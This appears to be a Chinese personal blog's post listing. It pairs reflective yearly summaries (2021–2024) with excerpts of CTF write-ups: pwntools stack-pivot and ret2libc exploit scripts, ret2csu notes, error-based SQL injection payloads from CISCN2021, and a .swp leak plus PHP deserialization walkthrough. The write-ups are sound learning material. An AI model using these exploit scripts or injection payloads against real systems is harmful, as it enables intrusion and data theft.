2024年度总结
感觉越是长大,文笔水平反倒是越来越倒退。在中学时期,每年12月便开始想着怎么去写好当年的年度总结,想着要今年有哪些东西是一定要写进去的,要用什么样的文字来阐述精彩或是平凡的一年,一直到了自己考研的那一年,哪怕是一年里面还剩下了三四天才开始构思、哪怕是新冠已经中招了难受的要死,也还是会用满两三天的时间来构思以及攥写当年的年度总结。反倒是大学毕业以后,哪怕经历的事情、见过的场面远远多于之前几年,似乎也没有当年的满腔热血来写自己的年度总结了。到如今,已经是:哦,好像已经新年了,之前每一年都有去写年度总结,那今年是不是不能断掉呢?还是快速回想一下今年发生了什么,然后去找一些华丽的辞藻摘抄包装一下吧。 翻阅起之前几年的年度总结,又得感叹一下现在所处的环境和之前几年完全是天差地别,但是自己好像身处这个过程中也没感觉到每天有多大的变化的发生,或许这就是成长吧。但是想了想到了这个年纪了,估计所谓“成长”这个概念也会慢慢开始淡化吧。在之前觉得在博客上可以无话不说,现在写着需要斟酌好久这些到底能不能说,这个说了会不会成为以后的一个把柄……或许这也是所谓成长的一种体现吧。 (手机相册真是...
2023年度总结
好像也是这么多年来第一次拖了这么久的年度总结。元旦那会事情全都积压在一起,导致后面一直拖延是一回事;但是其实在这几个月里面,自己也一直在思考,这个年度总结到底还应不应该继续以这样的形式进行公开。 开通博客,在博客上写一写技术日常,发一发自己的感想,本意是给自己留下成长的痕迹,让未来某一刻的自己,能够在某个时刻看到自己曾经在这个青涩的年纪留下的一些文字,能够会想起自己的初心,或多或少回忆到那个时间自己的处境和所思所想。在博客上公开的目的是为了能够让一些志同道合的人或者是有缘的人(虽然自从博客创办以来我就没有指望能有多少这样的读者)能够共勉,找到共鸣。但是在过去的这一年多的时间里,也见识到了太多的人性的阴暗面:博客中自己期望的那些受众可能并不多,反而是那些有心想要加害于你、看不得别人过得好的那些小人反而会对博客的内容以及你在互联网上留下的任何痕迹仔细研究,想要加害于他人。这种事情就在我的身边发生过,我对这样的人只能选择敬而远之。也正是因为有这样的事情出现,我也对我这些做法有些许的犹豫。或许以后年度总结还是会继续保持下去,但是可能就是真的写给自己看的了吧。 相比于22年,...
2022年度总结
2022年的每一步都走得很艰难,但我想但这一切都值得被铭记。 翻开过去几年的年度总结,打开手机相册翻看当时的照片,看着曾经在指尖流淌过的岁月,回忆起当初的年少轻狂,心中感慨万千。感慨大学四年在不经意间就要接近尾声;感慨自己在一次又一次的跌倒又爬起来的过程被磨平了棱角,变得越来越现实。 2022年是极为不平凡的一年,尤其是对于我们2019级的学生。在今年的一开始,我就做好了心理准备,已经准备好放弃很多东西。但我没有想到,这一切竟是如此的艰难。 懵懵懂懂的备考之路 对于我而言,考研的目的是什么?我想,这个问题的答案从大一开始到现在都没有改变,那就是重新回到自己热爱的领域里去。 因此,我也是最早就开始准备有关工作的那一批人之一。当然,可能也和那些人当中的很多人一样,一开始准备没有任何头绪,四处乱撞,四处碰壁;买了一套又一套的参考书,看了一篇又一篇的经验帖,到头来自己还是和无头苍蝇一样。待在书桌前几个小时,总感觉自己好像学到了什么,但是又感觉好像也没学多少东西;看一眼剩下的天数,告诉自己剩下的天数还充裕,保持进度的同时慢慢试错就好。 就这样,上半年的...
2021年度总结
又到了一年一度的年度总结时间了。不知道是人变懒了还是因为年龄增长、变得成熟了一点的缘故,现在已经不再像之前一样,想要写很多的文字来总结和记录这一年到底经历了什么。面对已经成为历史的2021年,我也只想用几段简明的文字来描绘一下我心中的2021,以及展望一下全新的2022。 一些变化 首先不得不承认,现在的心境相比于去年的年底可以说是完全不同的。包括在去年的年度总结留下的一些flag,在我现在看来只能苦笑。很多时候理想确实很丰满,人总是会把自己所认可的东西(包括人和事)想象的很好,但是在现实的一盆冷水过后,一切都只是显得可笑。 理想与现状的割裂 最初进入到现在这个学院,是抱着“要将自己感兴趣的专业与现在这个专业结合”的心态来的。但从现在来看,这只不过是一个把理想太当真闹得一个笑话。因为真正能够理解、体谅你的老师寥寥无几,甚至有的人根本就看不起你所谓的梦想和理想。 当初想着可以通过老师组织的项目来把自己热爱的东西和现在所学的专业结合起来,但是在经过几轮现实的鞭打过后,我发现这根本就是属于不可能...
CTFShow_月饼杯 容易的胖
首先有lea esp ,[ebp - 8]将栈顶移动到栈底-8的位置,正好就是我们能够控制的最后4byte 之后将这个值赋给ecx 之后进行一些操作(似乎无关紧要) 最后将栈顶esp写为ecx-4 后ret 根据我们对于汇编的理解,ret等同于pop eip; 实质上相当于将当前栈指针跳转到ebp。 了解了这一个关键代码,我们就可以开始写exp了 首先是全局变量s,我们在s开头的4byte写入一个指向S+0x4的指针,即0x804A044,再再s+0x4的位置布置shellcode,这样在ret过来的时候,可以直接由这个指针跳转到shellcode运行; 其次在栈上的s,由于会先匹配"yes\n",我们先写入yes\n\x00(截断),之后填充,但是要保证ebp-8处的位置是0x804A044 from pwn import * context(arch = 'i386', os = 'linux', log_level = 'debug') #p = process("./...
CTFShow_月饼杯 简单的胖
查看保护,除了NX其他几乎没有开,存在栈溢出漏洞,也没有看到有后门函数,基本上确定是x64的ret2libc GOT表和PLT表 使用ropper查找"pop rdi; ret;"和"ret;"用于构造ROP链 ret_padding = 0x4004ce poprdi = 0x400703 由于题目没有指定Libc版本,为了能在本地和远端双向打通,还是使用LibcSearcher来查找对应的libc版本 # coding=utf-8 from pwn import * from LibcSearcher import * file_path='./pwn01.pwn01' context(binary=file_path,os='linux') #p = process(file_path) p= remote("pwn.challenge.ctf.show",28185) elf = ELF(file_path) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pri...
汇编中entry,leave,retn指令的理解
ebp:栈基址(栈底) eip:当前栈指针 esp:栈顶指针 根据我们对汇编的理解,一个函数的入口处和结尾处(leave和retn)通常表示为下面的指令 entry: push ebp mov ebp, esp leave: mov esp, ebp pop ebp retn: pop eip
ret2libc+ret2csu
以蒸米一步一步学 ROP 之 linux_x64 篇-level5为例: 在x86-64架构下,前6个参数的传递依次按照rdi、rsi、rdx、rcx、r8、r9的顺序来传递,剩下的压入栈中传递。 csu_init关键代码: .text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 mov rdx, r15 .text:00000000004005F3 mov rsi, r14 .text:00000000004005F6 mov edi, r13d .text:00000000004005F9 call qword ptr [r12+rbx*8] .text:00000000004005FD ...
CISCN2021复盘
Web easy_sql SQLMap 无列名注入 报错注入 SQLMap一把梭,就扫出来一个security数据库和id表,里面的东西都是假的。 尝试fuzz一下,发现ban掉了union column information等关键字,payload上出现这些字眼直接返回一个no。 由于column关键字被ban,因此尝试报错+无列名注入。 uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95 uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&...
津门杯2021部分题解
Power_cut .swp泄露+基础反序列化 一开始懵了很久,打开就一句话:昨晚因为14级大风停电了,其他啥都扫不出来。 后面考虑到停电 => 意外退出vim => .swp泄露 于是访问/.index.php.swp,成功下载。 使用vim -r恢复该文件,得到源码: <?php class logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = $file; readfile($this->logFile); } ...